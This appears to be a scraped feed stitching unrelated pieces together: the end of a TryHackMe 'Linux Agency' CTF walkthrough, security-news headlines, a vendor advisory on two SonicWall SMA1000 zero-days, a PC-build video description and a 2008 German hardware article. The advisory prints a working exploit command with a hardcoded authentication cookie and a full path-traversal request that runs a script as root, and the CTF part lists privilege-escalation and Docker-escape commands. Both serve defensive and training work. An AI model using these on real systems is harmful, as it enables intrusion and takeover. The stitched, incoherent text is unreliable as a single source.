💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.

🏆 Flags Summary

User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout

🧠 Key Takeaways

Linux Fundamentals:

• ls -la always — hidden files, permissions at a glance
• find and grep -r for wide enumeration
• env for environment variable inspection
• file to identify file types regardless of extension
• strings to extract readable data from binaries

Encoding & Decoding:

• Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
• Reversed strings — check file content and filenames alike

Scripting Languages:

• Python: pty.spawn("/bin/bash") for shell upgrade
• Ruby: exec "/bin/bash" or Dir/File for file ops
• Java: javac → java, C: gcc → ./binary

Privilege Escalation Checklist:

1. sudo -l → GTFOBins
2. find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
3. cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
4. id → check group memberships (docker!)
5. Check $PATH, env variables, writable directories in PATH

📚 Resources

• 🔗 GTFOBins — sudo/SUID binary exploitation reference
• 🔗 PayloadsAllTheThings — Reverse Shell Cheatsheet
• 🔗 Exploit-DB: CVE-2019–14287
• 🔗 TryHackMe: Sudo Security Bypass
• 🔗 HackTricks: Docker Breakout
• 🔗 RapidTables Converter

💬 Final Thoughts

Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.

If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.

Happy Hacking! 🐧

Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

TryHackMe — Linux Agency | Complete Write-Up & Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Hackers Exploit SonicWall SMA1000 Zero-Days to Execute Commands as Root appeared first on IT Security News.

The post Hackers Exploit SonicWall SMA1000 Zero-Days to Execute Commands as Root appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post CISA Adds Actively Exploited Oracle E-Business Suite Takeover Flaw to KEV appeared first on Cyber Security News.

Read more →

The post CISA Warns of Actively Exploited Oracle E-Business Suite Flaw appeared first on IT Security News.

Read more →

The post CISA Warns of Oracle E-Business Suite Vulnerability Actively Exploited in Attacks appeared first on IT Security News.

The post CISA Warns of Actively Exploited Oracle E-Business Suite Flaw appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post CISA Warns of Oracle E-Business Suite Vulnerability Actively Exploited in Attacks appeared first on Cyber Security News.

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

• 12.4.3-03245

• 12.4.3-03387

• 12.4.3-03434 (platform-hotfix)

• 12.5.0-02283

• 12.5.0-02624

• 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

• Performing a thorough forensic review for indicators of compromise.

• Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

• Changing user and administrator passwords.

• Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

• Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

• Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

• Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

• Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

• Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

• AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

• extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

• /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

• F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

• 45.131.194.0/24

• 45.146.54.0/24

• 63.135.161.0/24

• 173.239.211.0/24

• 193.37.32[.]179

• 193.37.32[.]214

• 216.73.163[.]151

• 216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

Read more of this story at Slashdot.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

💧 Liquid cooling sounds intimidating... but it's actually one of the easiest parts of a modern PC build!

In this episode of my PC Build Series, I'll walk you through installing an ASUS ROG Ryujin III ARGB Extreme AIO cooler onto an AMD Ryzen 9 9950X system. We'll cover what an AIO actually is, why CPUs need cooling, proper airflow, radiator placement, thermal paste, fan orientation, pump installation, and how to connect everything correctly.

Whether you're building your very first PC or just want to avoid common mistakes, this guide will help make liquid cooling a whole lot less scary.

Support the channel!
❤️ Patreon: https://patreon.com/shannonmorse
⭐ Become a YouTube Member!

#PCBuild #PCBuilding #CustomPC #LiquidCooling #AIO #ASUSROG #AMD #Ryzen9950X #GamingPC #TechTutorial

https://www.ifixit.com/products/pro-tech-toolkit
My build: https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D

📺
Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe

* Parts List (and best deals!) // Affiliate links:
- Prices may differ
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)
Amazon: https://amzn.to/3O70PIU
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq
B&H: https://bhpho.to/3PjZZcr

CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)
Amazon: https://amzn.to/4bkdodD
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q
B&H: https://bhpho.to/46EWdR4

Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)
Amazon: https://amzn.to/3NI9tO0
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6
B&H: https://bhpho.to/4ubyfa7

Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2
Amazon: https://amzn.to/49SZug7
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G

Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)
Amazon: https://amzn.to/4bSOyBO
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N
B&H: https://bhpho.to/4bpm9m9

Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)
Amazon: https://amzn.to/4pTv8QB
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN
B&H: https://bhpho.to/40dqbYK

Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)
Amazon: https://amzn.to/3NNmKos
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB
B&H: https://bhpho.to/46HyuQb

Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)
Amazon: https://amzn.to/4bTH8yd
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445837726262477428148556&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-mid-tower-a31-tg-steel-plastic-tempered-glass-computer-case-white%2Fp%2FN82E16811173067%3Fitem%3DN82E16811173067
B&H: https://bhpho.to/4d3Fyu8

Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)
Amazon: https://amzn.to/4qSDWHG
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445835163683945762036176&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-3-0-compatible-atx12v-1000-w-80-plus-gold-certified-power-supply-tuf-gaming-1000g%2Fp%2FN82E16817320029%3Fitem%3DN82E16817320029
B&H: https://bhpho.to/3N1pqPq

Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)
Amazon: https://amzn.to/3YWIbG7
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094
B&H: https://bhpho.to/4uaSzs9

Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)
Amazon: https://amzn.to/4rzKNpN
Best Buy: https://bestbuycreators.7tiv.net/55OBVD
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094
B&H: https://bhpho.to/46KcvYO




Today's Goal
00:43 Why CPUs Need Cooling
02:01 What Is an AIO Cooler?
03:05 Understanding the Parts
04:14 Patreon Shoutout
05:02 Airflow Basics
06:39 Radiator Placement
07:43 Installing the Fans
10:07 Installing the Radiator
11:48 Thermal Paste Explained
13:02 Installing the CPU Block
14:49 Pump & Fan Connections
16:06 Build Progress Review
16:54 Next Episode Preview


Editor: @ColleenEdits

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission.
Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links

Dieser Beitrag SonicWall warnt vor zwei Zero-Days in SMA 1000 – eine Lücke ermöglicht Admin-Kommandos erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Hinweis: Dieser Artikel erschien am 3. März 2008 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der dritten Höllenmaschine:

Herzschlagfinale: Diesmal haben wir wirklich auf den letzten Drücker den Herstellern die Prototypen für die CeBIT aus den Händen gerissen und sind trotzdem rechtzeitig fertig geworden. Deshalb können wir Ihnen auf dem Messegelände in Hannover unseren 30.000-Euro-Super-PC live in Aktion präsentieren:

Vom 4. bis 7. März 2008 ist die Höllenmaschine 3 zu Gast am Stand von Thermaltake (Halle 24, Stand C02). Und am CeBIT-Wochenende, vom 8. bis 9. März 2008, finden Sie unseren Traumrechner in der Messehalle von Intel (Pavillon P33, befindet sich zwischen Halle 12 und 26). Dort finden die Intel Extreme Masters II Finals der ESL statt. Zwischen den Finalspielen präsentieren wir Ihnen auf der Showbühne am Samstag um 10:00, 12:30 und 16:45 Uhr sowie am Sonntag um 10:00, 12:15 und 16:45 Uhr die Höllenmaschine 3 live in Aktion.

Und wer es nicht zur CeBIT schafft, hat bei der Deutschen Casemod Meisterschaft 2008 eine weitere Gelegenheit, die Höllenmaschine 3 hautnah zu erleben. Der Wettbewerb, für den wir unseren 30.000-Euro-Rechner schon angemeldet haben, findet vom 19. bis 20. April 2008 auf der Hobbytronic in Dortmund statt.

Grafik: Quad SLI

Der erste Prototyp, den wir bei der Höllenmaschine 3 einsetzen, kommt vom Grafikspezialisten Nvidia. Die Referenzkarte Nvidia Geforce 9800 GX2 beherbergt gleich zwei Grafikchips, die gemeinsam die 3D-Berechnung übernehmen. In der Höllenmaschine 3 haben wir zwei dieser Doppeldecker-Grafikkarten verbaut, die über ein spezielles Datenkabel (Scalable Link Interface Bridge) verbunden sind. Dadurch beteiligen sich also insgesamt vier Grafikchips parallel an der 3D-Berechnung und arbeiten damit de facto im Quad-SLI-Modus.

Nvidias Doppeldecker-Grafikkarte Geforce 9800 GX2 besitzt gleich zwei externe Stromanschlüsse: eine 6- sowie eine 8-polige PCI-Express-Strombuchse. Wie viel die Geforce 9800 GX2 unter Volllast verbraucht, erfahren Sie nach der CeBIT in unserem großen Test zur Höllenmaschine 3.

Momentan verwenden wir die beiden Grafikkarten mit der von Nvidia entwickelten Kühler-Lüfter-Kombination. Die Zeit war für die kanadischen Kühlungsspezialisten von Coolit Systems einfach zu knapp, um passende Kühlkörper anzufertigen, die für die Kompressorkühlung der Höllenmaschine 3 ausgelegt sind.

Daher laufen die zwei Geforce-9800-GX2-Grafikkarten derzeit noch mit den von Nvidia freigegebenen Standard-Taktraten. Aber bis spätestens Ende März 2008 sollte die Spezialanfertigung von Coolit Systems fertig sein – wir rüsten sie auf jeden Fall noch nach, um dann auch noch die Grafikkarten übertakten zu können.

Apropos Taktraten: Die Geforce 9800 GX2 möchte Nvidia offiziell erst Mitte März 2008 vorstellen. Damit wir die beiden High-End-Grafikkarten bereits jetzt in die Höllenmaschine 3 einbauen konnten, mussten wir eine Vertraulichkeitsvereinbarung (NDA, non-disclosure agreement) unterzeichnen, an die wir uns natürlich auch halten.

Deshalb können wir Ihnen momentan nicht allzu viel über das Grafikartengespann verraten. Wie das nebenstehende Bild zeigt, besitzt Nvidias Geforce 9800 GX2 zwei Dual-Link-DVI-Ausgänge zum Anschluss von zwei Bildschirmen. Zur Leistungsfähigkeit der Doppeldecker-Duos sei nur so viel gesagt: Selbst das derzeit hardwarehungrigste 3D-Spiel Crysis läuft mit höchster Bildqualität bei hohen Auflösungen flüssig. Wenn Sie auf der CeBIT sind, können Sie sich bei einer der vielen Live-Demonstrationen selbst überzeugen.

Prozessoren: 8 x 4 GHz

Intel

Die beiden High-End-CPUs Intel Core 2 Extreme QX9775 zum Stückpreis von rund 1300 Euro arbeiten mit einem Werkstakt von 3,2 GHz – dank Kompressorkühlung laufen sie in der Höllenmaschine 3 stabil mit 4 GHz. Jedem Quad-Core steht ein gemeinsamer 12 MB großer L2-Cache zur Verfügung. Der Cache rechnet 24-fach assoziativ – das sorgt für eine effektivere Nutzung des Pufferspeichers.

Der Systemtakt des Core 2 Extreme QX9775 beträgt 400 (effektiv 1600) MHz. Damit erreicht der Transferdurchsatz, den jeder der beiden LGA771-Prozessoren pro Sekunde austauschen kann, bis zu 25,6 GB/s. Der 3,2-GHz-Quad-Core unterstützt Fully Buffered DIMM der DDR2-Spezifikationen PC800 und PC667. Dass der Core 2 Extreme QX9775 Server-Speicher benötigt und den CPU-Steckplatz der Xeon-Baureihe nutzt, ist kein Zufall: Der QX9775 ist eigentlich ein Xeon X5482, dem Intel einen freien Multiplikator spendiert hat und ihn so zum „Extreme“-Prozessor aufgewertet.

Das Prozessor-Duo basiert auf Intels 45-Nanometer-Architektur „Harpertown“. Mit an Bord der neuen Architektur sind 47 Befehle der x86-Erweiterung SSE4. Die neuen Instruktionen sollen vor allem Multimedia-Anwendungen wie Musik- und Video-Encodierung beschleunigen – sofern der Software-Hersteller die SSE4-Befehle in den Programmcode einpflegt.

Dies ist beispielsweise bei der aktuellen Version des Divx-Codecs und der Bildbearbeitung Adobe Photoshop der Fall. Aber auch 3D-Spiele soll SSE4 beschleunigen, etwa bei der Physikberechnung. Das ist aber noch Zukunftsmusik: Das erste Spiel, bei dem dies der Fall sein wird, ist der für Ende 2008 angekündigte Titel „Alan Wake“.

Mehrere Betriebssysteme: Der Core 2 Extreme QX9775 unterstützt die Virtualisierungs-Technik Intel VT sowie 32-und 64-Bit-Betriebssysteme – interessant für Nutzer, die etwa virtuelle Server mit unterschiedlichen Betriebssystemen einrichten möchten. Mit einem Acht-Kern-System wie der Höllenmaschine 3, die ja auch beim Arbeitsspeicher nicht knausert, lässt sich da so einiges realisieren.

Ausstattung der Höllenmaschine 3 im Überblick

PC-WELT

Hauptplatine: Intel Skulltrail mit 8 GB RAM

Wichtigstes Merkmal der rund 500 Euro teuren Intel D5400XS, Codename Skulltrail, sind die beiden LGA771-Prozessorsteckplätze – erst dadurch lassen sich die beiden Core 2 Extreme QX9775 parallel betreiben. Zu den weiteren Besonderheiten der Intel-Hauptplatine gehören zwei Nvidia-Chips namens Nforce 100 MCP. Sie bringen 32 zusätzliche PCI-Express-Datenleitungen sowie SLI-Unterstützung mit:

Damit kann Intel vier 16x-PCI-Express-Steckplätze auf der D5400XS unterbringen und diese auch jeweils 16fach elektrisch ansteuern. Da die beiden Nforce 100 MCP im Dauerbetrieb recht heiß werden, versieht Intel die zwei Nvidia-Chips inklusive der Northbridge mit einem Kühlkörper samt Lüfter.

Um die Stabilität der Höllenmaschine 3 zu erhöhen, wollen wir ab Mitte März die Intel-Lösung durch eine speziell angefertigte Kompressorkühlung unseres kanadischen Koopertionspartners Coolit Systems ersetzen.

Die Intel-Hauptplatine setzt auf den Server-Chipsatz 5400, Codename Seaburg. Beim 5400-Chipsatz arbeitet der Front Side Bus allerdings mit 400 (effektiv 1600) MHz. Den voll gepufferten DDR2-Speicher (FB-DIMM) bindet er ebenfalls mit 400 MHz ins System ein.

Die D5400XS im E-ATX-Format (305 x 330 Millimeter) sieht für jeden der vier FB-DIMM-Steckplätze einen eigenen Speicherkanal vor. Sowohl die Speichertaktraten als auch die RAM-Spannung lassen sich im BIOS der D5400XS manipulieren – ideal fürs Übertakten. Die maximale Ausbaustufe beträgt 8 GB fully buffered PC800- oder PC667-DDR2-SDRAM (4 x 2 GB).

Intel

Neben den vier 16x-PCI-Express-Steckplätzen, die allerdings nur den Standard PCI-Express 1.1 erfüllen, besitzt die Intel D5400XS noch zwei PCI-Steckplätze gemäß Version 2.3. Des Weiteren bietet die D5400XS-Hauptplatine noch einen Anschluss für zwei IDE-Laufwerke sowie üppige sechs SATA-300-Port inklusive zwei eSATA-Buchsen. Hinzu kommen zehn USB-2.0-Ports, zwei Firewire-Anschlüsse und eine 10/100/1000-MBit-Netzwerkbuchse. Bereits im Chipsatz integriert ist ein HD-Audiochip für 7.1-Raumklang mit einem optischen S/PDIF-Ausgang und den fünf üblichen Klinkenstecker-Buchsen.

Arbeitsspeicher: 4 x 2 GB DDR2-SDRAM

Wir bestücken alle vier Speicherbänke der Intel D5400XS mit Fully Buffered DDR2-800-SDRAM – und zwar mit den 2-GB-Modulen Samsung M395T5663QZ4-CF76. Die Speicherriegel nutzen zusätzliche Datenleitungen für die Datenintegritätsprüfung. Für eine schnellere Datenverarbeitung steht jedem Speichersteckplatz ein eigener Datenkanal zur Verfügung. Die FB-DIMM-Module laufen mit den Zugriffszeiten 666-11 und arbeiten mit effektiv 800 MHz.

System-Festplatten: 4 x SAS

Die Höllenmaschine 3 vertraut auf Server-Laufwerke für die Betriebssystem-Installationen. Dazu nutzen wir vier 300-GB-Festplatten mit der Punkt-zu-Punkt-Verbindung Serial Attached SCSI (SAS). SAS ist der Nachfolger der parallelen SCSI-Schnittstelle und bietet eine theoretische Datentransferrate von bis zu 300 MB/s, die sich im Gegensatz zu SATA 300 in der Praxis mit Raid-Konfigurationen auch tatsächlich annähernd erreichen lässt.

Unsere Wahl fiel auf das Modell Seagate Cheetah 15K.5 ST3300655SS mit 300 GB Kapazität. Preis pro Stück: rund 500 Euro. Das 3,5-Zoll-Laufwerk rotiert mit 15.000 Umdrehungen pro Minute, der Datenpuffer beträgt 16 MB. Die durchschnittliche Zugriffszeit der Cheetah 15K.4 liegt laut Hersteller bei 2 Millisekunden.

Die Zuverlässigkeit respektive MTBF (Mean Time Between Failures) der SAS-Laufwerke gibt Seagate mit 1,4 Millionen Betriebsstunden an. Die Annualized Failure Rate (AFR), also die Wahrscheinlichkeit, dass ein Laufwerk innerhalb eines Jahres ausfällt, liegt laut Hersteller bei 0,62 Prozent. Hier gibt’s detaillierte Informationen zur Seagate Cheetah 15K.5 ST3300655SS.

Noch mehr Tempo kitzeln wir aus der Cheetah 15K.5, indem wir die vier der SAS-Laufwerke mittels der PCI-Express-Controller-Karte Adaptec ICP Vortex 5085BL zu einem Raid-10-Verbund koppeln. Zwei Laufwerke fungieren dabei als Raid-0-Verbund: Dadurch lässt sich im Idealfall die Datentransferrate fast verdoppeln, da der SAS-Controller den Datenstrom in kleine Pakete zerlegt (Striping), die er simultan auf das Plattenduo schreibt beziehungsweise davon liest. Um eine hundertprozentige Datensicherheit zu gewährleisten, arbeiten die beiden anderen SAS-Laufwerke im Raid-1-Modus und spiegeln so den Datenbestand des Raid-0-Verbundes.

Umsonst gibt’s die Datensicherheit allerdings nicht: Durch den Raid-10-Verbund halbiert sich die nutzbare Kapazität des Laufwerk-Quartetts auf knapp 550 GB. Damit Systemprogramme und Applikationen möglichst verzögerungsfrei starten und arbeiten, haben wir die Betriebssysteme sowie alle Programme und Benchmarks auf der SAS-Partition installiert.
